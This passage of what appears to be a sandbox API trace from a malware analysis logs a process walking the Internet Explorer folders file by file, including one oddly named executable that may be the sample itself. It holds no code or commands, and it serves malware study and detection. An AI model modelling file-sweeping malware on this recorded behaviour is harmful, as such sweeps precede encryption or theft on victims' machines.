Explorer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*" [0029.819] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.820] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.820] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.820] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.820] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.820] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.820] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1 [0029.820] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1 [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.820] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0029.820] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 61 [0029.820] lstrcpyW (in: lpString1=0x26fa30, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0029.820] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.820] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2=".") returned 1 [0029.820] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2="..") returned 1 [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.820] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0029.820] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned 63 [0029.820] lstrcpyW (in: lpString1=0x26fab8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0029.820] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.820] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2=".") returned 1 [0029.820] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2="..") returned 1 [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.820] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0029.820] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 63 [0029.820] lstrcpyW (in: lpString1=0x26fb40, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0029.820] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.820] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2=".") returned 1 [0029.820] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2="..") returned 1 [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.820] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0029.820] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned 64 [0029.820] lstrcpyW (in: lpString1=0x26fbc8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0029.820] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.820] lstrcmpW (lpString1="iexplore.exe.mui", lpString2=".") returned 1 [0029.820] lstrcmpW (lpString1="iexplore.exe.mui", lpString2="..") returned 1 [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.820] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0029.820] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 63 [0029.820] lstrcpyW (in: lpString1=0x26fc58, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0029.820] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.820] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2=".") returned 1 [0029.820] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2="..") returned 1 [0029.820] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.820] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0029.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned 62 [0029.821] lstrcpyW (in: lpString1=0x26fce0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0029.821] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.821] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2=".") returned 1 [0029.821] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2="..") returned 1 [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.821] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0029.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned 68 [0029.821] lstrcpyW (in: lpString1=0x26fd68, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0029.821] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.821] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2=".") returned 1 [0029.821] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2="..") returned 1 [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.821] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0029.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned 69 [0029.821] lstrcpyW (in: lpString1=0x26fe00, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0029.821] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.821] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2=".") returned 1 [0029.821] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2="..") returned 1 [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.821] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0029.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned 67 [0029.821] lstrcpyW (in: lpString1=0x26fe98, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0029.821] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.821] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.821] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.821] lstrcmpW (lpString1="ExtExport.exe", lpString2=".") returned 1 [0029.821] lstrcmpW (lpString1="ExtExport.exe", lpString2="..") returned 1 [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.821] lstrlenW (lpString="ExtExport.exe") returned 13 [0029.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned 54 [0029.821] lstrcpyW (in: lpString1=0x460420, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0029.821] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.821] lstrcmpW (lpString1="hmmapi.dll", lpString2=".") returned 1 [0029.821] lstrcmpW (lpString1="hmmapi.dll", lpString2="..") returned 1 [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.821] lstrlenW (lpString="hmmapi.dll") returned 10 [0029.821] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned 51 [0029.821] lstrcpyW (in: lpString1=0x26ff28, lpString2="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0029.821] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.821] lstrcmpW (lpString1="ie8props.propdesc", lpString2=".") returned 1 [0029.821] lstrcmpW (lpString1="ie8props.propdesc", lpString2="..") returned 1 [0029.821] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.821] lstrlenW (lpString="ie8props.propdesc") returned 17 [0029.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned 58 [0029.822] lstrcpyW (in: lpString1=0x461048, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0029.822] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.822] lstrcmpW (lpString1="iecompat.dll", lpString2=".") returned 1 [0029.822] lstrcmpW (lpString1="iecompat.dll", lpString2="..") returned 1 [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.822] lstrlenW (lpString="iecompat.dll") returned 12 [0029.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned 53 [0029.822] lstrcpyW (in: lpString1=0x460498, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0029.822] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.822] lstrcmpW (lpString1="iedvtool.dll", lpString2=".") returned 1 [0029.822] lstrcmpW (lpString1="iedvtool.dll", lpString2="..") returned 1 [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.822] lstrlenW (lpString="iedvtool.dll") returned 12 [0029.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned 53 [0029.822] lstrcpyW (in: lpString1=0x460510, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0029.822] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.822] lstrcmpW (lpString1="ieinstal.exe", lpString2=".") returned 1 [0029.822] lstrcmpW (lpString1="ieinstal.exe", lpString2="..") returned 1 [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.822] lstrlenW (lpString="ieinstal.exe") returned 12 [0029.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned 53 [0029.822] lstrcpyW (in: lpString1=0x460588, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0029.822] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.822] lstrcmpW (lpString1="ielowutil.exe", lpString2=".") returned 1 [0029.822] lstrcmpW (lpString1="ielowutil.exe", lpString2="..") returned 1 [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.822] lstrlenW (lpString="ielowutil.exe") returned 13 [0029.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned 54 [0029.822] lstrcpyW (in: lpString1=0x460600, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0029.822] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.822] lstrcmpW (lpString1="ieproxy.dll", lpString2=".") returned 1 [0029.822] lstrcmpW (lpString1="ieproxy.dll", lpString2="..") returned 1 [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.822] lstrlenW (lpString="ieproxy.dll") returned 11 [0029.822] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0029.822] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned 52 [0029.822] lstrcpyW (in: lpString1=0x460678, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0029.822] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.822] lstrcmpW (lpString1="IEShims.dll", lpString2=".") returned 1 [0029.823] lstrcmpW (lpString1="IEShims.dll", lpString2="..") returned 1 [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.823] lstrlenW (lpString="IEShims.dll") returned 11 [0029.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned 52 [0029.823] lstrcpyW (in: lpString1=0x4606f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0029.823] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.823] lstrcmpW (lpString1="iexplore.exe", lpString2=".") returned 1 [0029.823] lstrcmpW (lpString1="iexplore.exe", lpString2="..") returned 1 [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.823] lstrlenW (lpString="iexplore.exe") returned 12 [0029.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 53 [0029.823] lstrcpyW (in: lpString1=0x460768, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0029.823] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.823] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2=".") returned 1 [0029.823] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2="..") returned 1 [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.823] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0029.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned 93 [0029.823] lstrcpyW (in: lpString1=0x4610c8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0029.823] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.823] lstrcmpW (lpString1="jsdbgui.dll", lpString2=".") returned 1 [0029.823] lstrcmpW (lpString1="jsdbgui.dll", lpString2="..") returned 1 [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.823] lstrlenW (lpString="jsdbgui.dll") returned 11 [0029.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned 52 [0029.823] lstrcpyW (in: lpString1=0x4607e0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0029.823] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.823] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2=".") returned 1 [0029.823] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2="..") returned 1 [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.823] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0029.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned 58 [0029.823] lstrcpyW (in: lpString1=0x461190, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0029.823] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.823] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2=".") returned 1 [0029.823] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2="..") returned 1 [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.823] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0029.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned 59 [0029.823] lstrcpyW (in: lpString1=0x461210, lpString2="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0029.823] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.823] lstrcmpW (lpString1="jsprofilerui.dll", lpString2=".") returned 1 [0029.823] lstrcmpW (lpString1="jsprofilerui.dll", lpString2="..") returned 1 [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.823] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0029.823] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0029.823] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned 57 [0029.824] lstrcpyW (in: lpString1=0x461290, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0029.824] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.824] lstrcmpW (lpString1="msdbg2.dll", lpString2=".") returned 1 [0029.824] lstrcmpW (lpString1="msdbg2.dll", lpString2="..") returned 1 [0029.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.824] lstrlenW (lpString="msdbg2.dll") returned 10 [0029.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0029.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned 51 [0029.824] lstrcpyW (in: lpString1=0x461310, lpString2="c:\\Program 